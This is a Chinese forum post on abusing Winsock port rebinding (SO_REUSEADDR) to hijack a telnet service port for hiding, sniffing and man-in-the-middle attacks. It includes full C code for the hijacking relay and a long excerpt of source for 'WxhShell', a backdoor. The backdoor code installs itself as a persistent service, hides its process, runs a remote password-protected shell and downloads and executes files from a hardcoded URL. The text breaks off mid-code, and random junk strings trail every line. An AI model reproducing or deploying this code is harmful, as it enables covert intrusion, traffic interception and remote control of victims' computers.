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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: $pt~?ZZ3-  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Gd'_X D  
K r<UPr  
  saddr.sin_family = AF_INET; us8HXvvp{  
d{7)_Sbky  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0P!Fci/t  
/"8|26  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y&eU\>M  
UR S=1+  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~;YkR'q0_  
kBnb9'.A1  
  这意味着什么?意味着可以进行如下的攻击: c4r9k-w0E  
8H T3C\$s  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 OF )*kiJ  
[Q\(k d*4  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 3xmPY.  
D #7q3s  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 P2 qC[1hYH  
*cCj*Zr]  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  [ wnaF|h  
]=]MJ3_7  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 eAqpP>9n  
hy@b/Y![M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =fdW H4  
?GtI.flV  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 B/^o$i  
H0yM`7[y  
  #include e 'F:LMX  
  #include vlipB}  
  #include c/:k|x  
  #include    94]i|2qj*  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ?Iij[CbU  
  int main() cM4{ e^  
  { #yU"n-eLR  
  WORD wVersionRequested; (ip3{d{CT]  
  DWORD ret; pp{GaCi  
  WSADATA wsaData; e**'[3Y  
  BOOL val; /[ft{:#&t  
  SOCKADDR_IN saddr; z]LVq k  
  SOCKADDR_IN scaddr; 0I do_V  
  int err; dTlEEgR  
  SOCKET s; jxt]Z3a~0  
  SOCKET sc; OECVExb@eH  
  int caddsize; .7:ecFKk  
  HANDLE mt; ~2yhZ  
  DWORD tid;   Fu\#:+5\  
  wVersionRequested = MAKEWORD( 2, 2 ); ,2i1 4H  
  err = WSAStartup( wVersionRequested, &wsaData ); Tj\hAcD  
  if ( err != 0 ) { Fg}t{e]3a  
  printf("error!WSAStartup failed!\n"); =W2I0nr.  
  return -1; O*x~a;?G  
  } KoWG:~>|  
  saddr.sin_family = AF_INET; #`l&HV   
   ?'"BX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 .3@Pz]\M#>  
PlT_]p  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~r'ApeI9  
  saddr.sin_port = htons(23); ='C;^ Bk  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) tw.z5  
  { Uyeo0B"  
  printf("error!socket failed!\n"); $fT#Wva-\d  
  return -1; ,t9CP  
  } %nE%^Enw  
  val = TRUE; <]|!quY<*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 yX%> %#$  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) vq-;wdq?2  
  { _J#oAE5]!  
  printf("error!setsockopt failed!\n"); Ir*{IVvej  
  return -1; +qqCk  
  } C7}iwklcsa  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; klY, @  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽  twK3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 R yM2 9uD  
IjQgmS~G  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 5B8fz;l= B  
  { jqTK7b  
  ret=GetLastError(); P3Ah1X7W"C  
  printf("error!bind failed!\n"); v |pHbX  
  return -1; D~`RLPMk  
  } D$rn?@&g  
  listen(s,2); ?P#\ CW  
  while(1) %|f@WxNrU  
  { TV0Y{x*~iH  
  caddsize = sizeof(scaddr); TIaiJvo  
  //接受连接请求 n!lE|if  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Qv;b$by3  
  if(sc!=INVALID_SOCKET) 0AoWw-H6V  
  { MBU4Awj  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 3/(eK%d4Xb  
  if(mt==NULL) TC@F*B;  
  { !1]jk(Z  
  printf("Thread Creat Failed!\n"); |?MD>Pez  
  break; A@4{-e\  
  } De>,i%`Q,D  
  } "GJ.`Hj  
  CloseHandle(mt); YB^m!A),I[  
  } ~XvMiWuo  
  closesocket(s); "-AFWWKtx  
  WSACleanup(); 9#~jlq(  
  return 0; Y`6<:8[?  
  }   6x/o j`_[  
  DWORD WINAPI ClientThread(LPVOID lpParam) V>UlL&V  
  { Zw%:mZN  
  SOCKET ss = (SOCKET)lpParam; wqap~X  
  SOCKET sc; S@~ReRew2  
  unsigned char buf[4096]; R? N+./{  
  SOCKADDR_IN saddr; Nd@/U c  
  long num; a"Ly9ovW  
  DWORD val; O0bOv S  
  DWORD ret; )|5mW  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =KD[#au6a  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   t#-4edB,  
  saddr.sin_family = AF_INET; l <Z7bo  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); r&:yZN  
  saddr.sin_port = htons(23); 62G %.'7  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) RQ#9[6w!v  
  { /#L4ec-'  
  printf("error!socket failed!\n"); - ku8n%u  
  return -1; *TCV}=V G  
  } <KStl fX  
  val = 100; d`j<Bbf-  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +apn3\_  
  { 1}p :]/;  
  ret = GetLastError(); 5>=4$!`  
  return -1; r/0AM}[!*j  
  } qNMYZ0,  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) yLl:G;  
  { [[Nn~7  
  ret = GetLastError(); LA(/UA3Izd  
  return -1; kK0zb{  
  } *<?KOM  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) /;u=#qu(E-  
  { gd]_OY7L  
  printf("error!socket connect failed!\n"); 3#\C!T0y  
  closesocket(sc); Z]5xy_La  
  closesocket(ss); `>lY$EBG@[  
  return -1; #H5 +8W  
  } bhfKhXh8  
  while(1) \`-xxhb?e  
  { ;rnhv:Iw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 w7\ \m9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 N%=,S?b  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >{Xyl):  
  num = recv(ss,buf,4096,0); d*@K5?O.  
  if(num>0) F+W{R+6  
  send(sc,buf,num,0); CE| *&G  
  else if(num==0) ^.*zBrFx  
  break; 8hSw4S "$  
  num = recv(sc,buf,4096,0); xsvJjs;=  
  if(num>0) A-M6MW  
  send(ss,buf,num,0); /IH F  
  else if(num==0) c s:E^  
  break; 64^3ve3/a=  
  } 3b`#)y^y?%  
  closesocket(ss); _b * gg  
  closesocket(sc); L/5th}m  
  return 0 ; Ty3.u9c4  
  } 1.Neg|  
<^ratz!-  
7$*x&We  
========================================================== zIr-Rx'dL^  
5)->.*G*  
下边附上一个代码,,WXhSHELL M`)3(|4  
B@' OUcUR  
========================================================== [3x*47o"z  
'S9jMyZrZ  
#include "stdafx.h" !?K#f?x<?  
sn'E}.uhXH  
#include <stdio.h> }"/>,  
#include <string.h> "wxyY^"  
#include <windows.h> H5CL0#I  
#include <winsock2.h> SI=7$8T5=5  
#include <winsvc.h> Ldy(<cN  
#include <urlmon.h> ITz+O=I4R]  
3XncEdy_  
#pragma comment (lib, "Ws2_32.lib") >3I|5kZ6  
#pragma comment (lib, "urlmon.lib") ^t`0ul]c  
1>umf~%Wa  
#define MAX_USER   100 // 最大客户端连接数 [LV>z  
#define BUF_SOCK   200 // sock buffer vSCJ xSt#e  
#define KEY_BUFF   255 // 输入 buffer 8LY^>.  
\GK]6VW  
#define REBOOT     0   // 重启 ZJ/K MW  
#define SHUTDOWN   1   // 关机 .B!  Z0  
{CX06BP  
#define DEF_PORT   5000 // 监听端口 @R`Ao9n9V  
tK 6=F63e  
#define REG_LEN     16   // 注册表键长度 8}Q 2!,9Q  
#define SVC_LEN     80   // NT服务名长度 bH%d*  
S2#@j#\  
// 从dll定义API aeEio;G1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '<6DLtZl  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #f_.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 02YmV%  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); $Xs`'>,"  
IUD@Kf]S  
// wxhshell配置信息 Bt(nm> Ng  
struct WSCFG { z0&Y_Up+5  
  int ws_port;         // 监听端口 ,y}~rYsP%  
  char ws_passstr[REG_LEN]; // 口令 Z ?F_({im  
  int ws_autoins;       // 安装标记, 1=yes 0=no ,Z8)DC=  
  char ws_regname[REG_LEN]; // 注册表键名 RQ8;_)%  
  char ws_svcname[REG_LEN]; // 服务名 Lx| 0G $  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .F/s (  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 T5dnj&N ]  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0u +_D8G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ` :Oje  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" jZiz 0[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 L08lkq,  
w=5<mw  
}; mgb+HNH%q\  
h:KEhj\d?  
// default Wxhshell configuration F4IU2_CnPD  
struct WSCFG wscfg={DEF_PORT, #1WCSLvtV  
    "xuhuanlingzhe", E9' 2_e  
    1, z00,Vr^m  
    "Wxhshell", ~{pds  
    "Wxhshell", "kjSg7m*:  
            "WxhShell Service", l]~IZTC  
    "Wrsky Windows CmdShell Service", }q,dJE  
    "Please Input Your Password: ", {W=5 J7  
  1, ju1B._48  
  "http://www.wrsky.com/wxhshell.exe", X,}(MW  
  "Wxhshell.exe" 3`Xzp  
    }; jVqpokWH  
/<"ok;Pu7  
// 消息定义模块 K{ntl-D&y  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /. >%IcK  
char *msg_ws_prompt="\n\r? for help\n\r#>"; msQ?V&+<  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; LG??Q+`l  
char *msg_ws_ext="\n\rExit."; 1jpft3*x  
char *msg_ws_end="\n\rQuit."; RNt9Qdr4y  
char *msg_ws_boot="\n\rReboot..."; ?. Ip(g  
char *msg_ws_poff="\n\rShutdown..."; %l!- rXp  
char *msg_ws_down="\n\rSave to "; BKYyc6iE  
fm!\**Q1  
char *msg_ws_err="\n\rErr!"; W>'(MB$3  
char *msg_ws_ok="\n\rOK!"; ZX'3qW^D  
h05<1>?|  
char ExeFile[MAX_PATH]; 20I/En  
int nUser = 0; e`Co ='  
HANDLE handles[MAX_USER]; ^z51f>C  
int OsIsNt; ?P/73p  
')Y1c O  
SERVICE_STATUS       serviceStatus; e$&n)>%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; F^5\w-gLY  
)jh~jU?c@  
// 函数声明 e\!Aoky  
int Install(void); :#D~j]pP  
int Uninstall(void); bCiyz+VyJn  
int DownloadFile(char *sURL, SOCKET wsh); *;U<b  
int Boot(int flag); 4[)tO-v:Y  
void HideProc(void); FrE#l.)?!  
int GetOsVer(void); Rr}m(e=  
int Wxhshell(SOCKET wsl); \u;`Lf  
void TalkWithClient(void *cs); 3 rR1/\  
int CmdShell(SOCKET sock); +,j6dYub  
int StartFromService(void); IR8yE`(h  
int StartWxhshell(LPSTR lpCmdLine); !7p&n3dz  
QlS_{XV  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T`9nY!  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6h0}ZM  
%pqB/  
// 数据结构和表定义 #WS>Z3AY  
SERVICE_TABLE_ENTRY DispatchTable[] = '%YE#1*gH  
{ _(I)C`8m  
{wscfg.ws_svcname, NTServiceMain}, L~RFI&b  
{NULL, NULL} 6Cfsh<]b  
}; %/qwqo`Q  
z[y  
// 自我安装 A4rkwM  
int Install(void) u'T-}95 V  
{ Ys|SacWC  
  char svExeFile[MAX_PATH]; ?Cx=!k.  
  HKEY key; WQbjq}RfI  
  strcpy(svExeFile,ExeFile); \[]?9Z=n  
G,<l}(tEG  
// 如果是win9x系统,修改注册表设为自启动 fK2r6D9  
if(!OsIsNt) { T6."j_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #T@k(Bz{L  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mu5r4W47  
  RegCloseKey(key); HJP~ lg  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |dDKO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ey=}bBx  
  RegCloseKey(key); X~SNkM  
  return 0; "oyBF CW  
    } GRaU]Z]ck  
  } g's!\kr  
} ]wi0qc2 {  
else { 4Z5;y[k(  
5"X@<;H%  
// 如果是NT以上系统,安装为系统服务 %0Qq~J@Lu  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); e1%kW1Z9  
if (schSCManager!=0) lD-2 5~YV  
{ qw>vu7/z  
  SC_HANDLE schService = CreateService "h|kf% W  
  ( \A)Pcc}7  
  schSCManager, ` U-vXP  
  wscfg.ws_svcname,  m]H]0T  
  wscfg.ws_svcdisp, `5rfO6 ;  
  SERVICE_ALL_ACCESS, [HL>Lp&A?  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ZOpKi:\  
  SERVICE_AUTO_START, $?dQ^]<,  
  SERVICE_ERROR_NORMAL, sZ;Gb^{Z  
  svExeFile, XVJH>Zw  
  NULL, X(\L1N  
  NULL, e m0 hTxb  
  NULL, !~vx|_$#  
  NULL, pMAP/..+2  
  NULL /Z,hQ>/  
  ); *aFY+.;U`  
  if (schService!=0) Dwr 9}Z-]  
  { *u",-n  
  CloseServiceHandle(schService); c?REDj2  
  CloseServiceHandle(schSCManager); uGm?e]7Hx<  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); =;E0PB_w  
  strcat(svExeFile,wscfg.ws_svcname); 9!kp3x/`  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 4nGt*0Er  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Uw!d;YQm  
  RegCloseKey(key); z(EpJK=`_  
  return 0; /7fd"U$Lh  
    } '@Yp@ _  
  } zqBzataR:  
  CloseServiceHandle(schSCManager); \ 9iiS(e  
} 7(a1@VH  
} WW>m`RU`  
Tj{3#?]Ho  
return 1; .wyuB;:  
} $G5:/,Q  
.U44p*I  
// 自我卸载 S#r|?GYua  
int Uninstall(void) x 4sIZe+  
{ 0L1sF'ZN  
  HKEY key; +l.LwA  
cc:$$_'L  
if(!OsIsNt) { < (B|g&A  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { #S x  
  RegDeleteValue(key,wscfg.ws_regname); ^!0z+M:>^  
  RegCloseKey(key);  m l@% H  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { V|[NL4  
  RegDeleteValue(key,wscfg.ws_regname); +|7N89l  
  RegCloseKey(key); +!!G0Zj/  
  return 0; "tK|/R+  
  } %>6ilG Q+  
} e-[PuJ  
} SynRi/BRmw  
else { ?u/UV,";y  
BW}M/  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >(wQx05^D  
if (schSCManager!=0) S^|U"  
{ z Tz_"N I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); }/,Rp/+7]  
  if (schService!=0) R!lug;u#  
  { jzGK(%sw"  
  if(DeleteService(schService)!=0) { xI~A Z:m  
  CloseServiceHandle(schService); aM(#J7;  
  CloseServiceHandle(schSCManager); }6<5mq)%  
  return 0; [u37 Hy_Gi  
  } I%GQ3D"=  
  CloseServiceHandle(schService); j"aY\cLr t  
  } T93st<F=R  
  CloseServiceHandle(schSCManager); &[_@f#  
} V*5v JF0j  
} !c1M{klP  
".waCt6  
return 1; +^&i(7a[?  
} Bz kfB:wr  
F|qMo|  
// 从指定url下载文件 DV[FZ  
int DownloadFile(char *sURL, SOCKET wsh) -mn/Yv  
{ vy{k"W&S  
  HRESULT hr; !H[01  
char seps[]= "/"; 1q3"qY H  
char *token; G2?#MO  
char *file; gmgri   
char myURL[MAX_PATH]; >]xW{71F@  
char myFILE[MAX_PATH]; hITYBPqRO  
1 ] cLbJ  
strcpy(myURL,sURL); 0I<L<^s3^U  
  token=strtok(myURL,seps); ]8DTk!  
  while(token!=NULL) /<IWdy]$3  
  { 8q9ATB-^>  
    file=token; U]_WX(4 @  
  token=strtok(NULL,seps); eEP{?F^I[  
  } l|E4 7@#  
>]ZE<.  
GetCurrentDirectory(MAX_PATH,myFILE); P}UxA!  
strcat(myFILE, "\\"); H9_iTGBQ  
strcat(myFILE, file); 2f@Cy+W'[  
  send(wsh,myFILE,strlen(myFILE),0); *78c2`)[  
send(wsh,"...",3,0); m- ibS:  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); UZrEFpi  
  if(hr==S_OK) O(!; 7v}  
return 0; h6^|f%\w*i  
else sgGA0af  
return 1; a0gg<Ml  
 ;<B  
} saQs<1  
Q"nw.FjUG  
// 系统电源模块 YG8V\4 SQ  
int Boot(int flag) !<HMMf,-D  
{ )lJAMZ 5xp  
  HANDLE hToken; c%^B '  
  TOKEN_PRIVILEGES tkp; \k`9s q  
unew XHA  
  if(OsIsNt) { r|DIf28MIq  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  C=@4U}  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); (=;'>*L(  
    tkp.PrivilegeCount = 1; +xO3<u  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; SZ9DT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); A%HIfSzQBS  
if(flag==REBOOT) { v[{7\Hha  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) -3v\ c~  
  return 0; 5N%d Les  
} K: $mEB[c<  
else { KsE$^`  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) oe2*$\?.  
  return 0; u_ l?d  
} /.CS6W^z  
  } %=9o'Y,4  
  else { X' 5R4j  
if(flag==REBOOT) { IF5-@hag,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) UH}lKc=t  
  return 0; ~jzLw@"~$^  
} :{iH(ae;  
else { !#W>x49}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q\ 6-SAS  
  return 0; ng9e)lU~*b  
} ]= %qm;  
} buN@O7\  
wv."  
return 1; ^uN[rHZ*u  
} a{Y|`*7y  
3en6 7l  
// win9x进程隐藏模块 l5Ko9CG  
void HideProc(void) aF+Lam(  
{ [J}eNprg  
?HZ^V  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cnQ2/ZZp~  
  if ( hKernel != NULL ) 3~Fag1Hp  
  { .Y]0gi8z  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); UE"v+GH  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ksOsJ~3)  
    FreeLibrary(hKernel); OZ e&p  
  } P(b[|QF  
0RMW>v/7kL  
return; hk:>*B}  
} sL~4 ~178  
!E?+1WDS0  
// 获取操作系统版本 E>tHKNyVTp  
int GetOsVer(void) JfSe; v  
{ %sOY:>  
  OSVERSIONINFO winfo; RH<2f5-sC!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); M.}J SDt  
  GetVersionEx(&winfo); kBcTXl  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]bh%pn  
  return 1; cl `Wl/Q#  
  else >.`*KQdan  
  return 0; vr4r,[B6y  
} h+j^VsP zB  
z{\tn.67  
// 客户端句柄模块 `14@dk  
int Wxhshell(SOCKET wsl) }BI6dZ~2A  
{ {TpbUj0  
  SOCKET wsh; 76@W:L*J$J  
  struct sockaddr_in client; `G\Gk|4; 2  
  DWORD myID; 6A]I" E]5  
3w"JzC@  
  while(nUser<MAX_USER) vu^mLc  
{ !(?7V  
  int nSize=sizeof(client); )AkBo  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &T0]tzk*,  
  if(wsh==INVALID_SOCKET) return 1; 6wWhM&Wd  
YlbX_h2S"  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .-M5.1mo\(  
if(handles[nUser]==0) xcWR#z{z  
  closesocket(wsh); lqmQQ*Z  
else 2{~`q  
  nUser++; $ MH;v_'a  
  } r[}nrH&8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /kK*%TP  
/tj]^QspS  
  return 0; ]goJ- &  
} a<\n$E#q  
D|)_c1g  
// 关闭 socket lCp6UkE  
void CloseIt(SOCKET wsh) C/Z#NP~ *  
{ ;BH.,{*@B  
closesocket(wsh); 3\j`g  
nUser--; '=Zm[P,  
ExitThread(0); ?<3 d Fb  
} 9AhA"+?  
m=@xZw<  
// 客户端请求句柄 "Ux(nt  
void TalkWithClient(void *cs) i@?|vu  
{ 6}I X{nQI  
EniV-Uj\D  
  SOCKET wsh=(SOCKET)cs; H i8V=+  
  char pwd[SVC_LEN]; <#?dPDMG.*  
  char cmd[KEY_BUFF]; !nkIXgWz  
char chr[1]; r/AOgS  
int i,j; ^0|:  
d"db`8 ;S  
  while (nUser < MAX_USER) { dFw+nGN  
b5=|1SjR  
if(wscfg.ws_passstr) { j#2Xw25  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }g-w[w 7p  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); eo4z!@pRN  
  //ZeroMemory(pwd,KEY_BUFF); $zCCeRP  
      i=0; L%Zr3Ct  
  while(i<SVC_LEN) { K)>F03=uE  
K<5yjG8&  
  // 设置超时 X/:V{2  
  fd_set FdRead; &}e>JgBe0  
  struct timeval TimeOut; ,NZllnW  
  FD_ZERO(&FdRead); ~8nR3ki  
  FD_SET(wsh,&FdRead); EIQ3vOq6  
  TimeOut.tv_sec=8; TIiYic!_~  
  TimeOut.tv_usec=0; \MRd4vufv  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); oc] C+l  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Ds"%=  
_ncBq;j{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DKfpap}8u  
  pwd=chr[0]; 5|~g2Zz{;  
  if(chr[0]==0xd || chr[0]==0xa) { qqZ4K:oC,  
  pwd=0; tT)s,R%  
  break; -~8PI2  
  } K% FK  
  i++; &t8,326;  
    } < r~hU*u  
CUH u=  
  // 如果是非法用户,关闭 socket `K+%/|!  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %<DdX*Qp  
} }FS_"0  
D8,8j;  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); iy]L"7&Z2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); S`5bcxI_  
bi+M28m  
while(1) { aQL0Sj:,  
:$K=LV#Iru  
  ZeroMemory(cmd,KEY_BUFF); 0 `7y Pq*  
AA^K /y  
      // 自动支持客户端 telnet标准   9;6)b 0=$  
  j=0; 0M;El2 P$  
  while(j<KEY_BUFF) { QnS^ G{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ._tEDY/1m  
  cmd[j]=chr[0];  ;303fS  
  if(chr[0]==0xa || chr[0]==0xd) { cSYCMQ1ro  
  cmd[j]=0; 2_u+&7  
  break; - JEPh!oTt  
  } 5<*E S[S  
  j++; J61%a,es  
    } r-$xLe7a  
q>'#;QA  
  // 下载文件 D6@ c|O{Q  
  if(strstr(cmd,"http://")) { pJ8F+`*  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); v]on0Pi!  
  if(DownloadFile(cmd,wsh)) ({Md({|  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \jk* Nm8;  
  else l2 n`fZL  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); vS~tr sI  
  } LWqKSNE;  
  else { FNraof @Oy  
kBA.N l7  
    switch(cmd[0]) { SPlt=*C#_  
  J1O1! .  
  // 帮助 ($<&H>j0  
  case '?': { &1T)'Bn  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3xz~##  
    break; W"@'}y  
  } ~fD\=- S1  
  // 安装 DTA$,1JuD  
  case 'i': { x f{`uHa8  
    if(Install()) 9O&gR46.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M.dX;iM<  
    else ^g(qP tQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); jG&HPVr  
    break; !l#aq\:}~e  
    } i?pd|J  
  // 卸载 Dom]w.W5  
  case 'r': { ,\ 1X\  
    if(Uninstall()) KNN{2thy `  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I$sXbM;z=  
    else hfIP   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); zMpvS rc  
    break; t=}]4&Yp  
    } rZ(#t{]=!  
  // 显示 wxhshell 所在路径 .zdaY, U  
  case 'p': { ,S d j"C  
    char svExeFile[MAX_PATH]; 6e\?%,H  
    strcpy(svExeFile,"\n\r"); 1qAE)8ie  
      strcat(svExeFile,ExeFile); <ivG(a*=]  
        send(wsh,svExeFile,strlen(svExeFile),0); 6B@e[VtG$  
    break; YBj*c$.D0  
    }  yI|x 5f  
  // 重启 F;`c0ja]  
  case 'b': { HFjSM~  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Zl9  
    if(Boot(REBOOT)) d`V.i6u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MXl_{8  
    else { fCNQUK{Gs5  
    closesocket(wsh); e}{#VB<  
    ExitThread(0); *^; MWI  
    } M {'(+a[  
    break; ?;UR9f|!  
    } Q hRz57'  
  // 关机 gzhIOeY  
  case 'd': { c ZYvP  
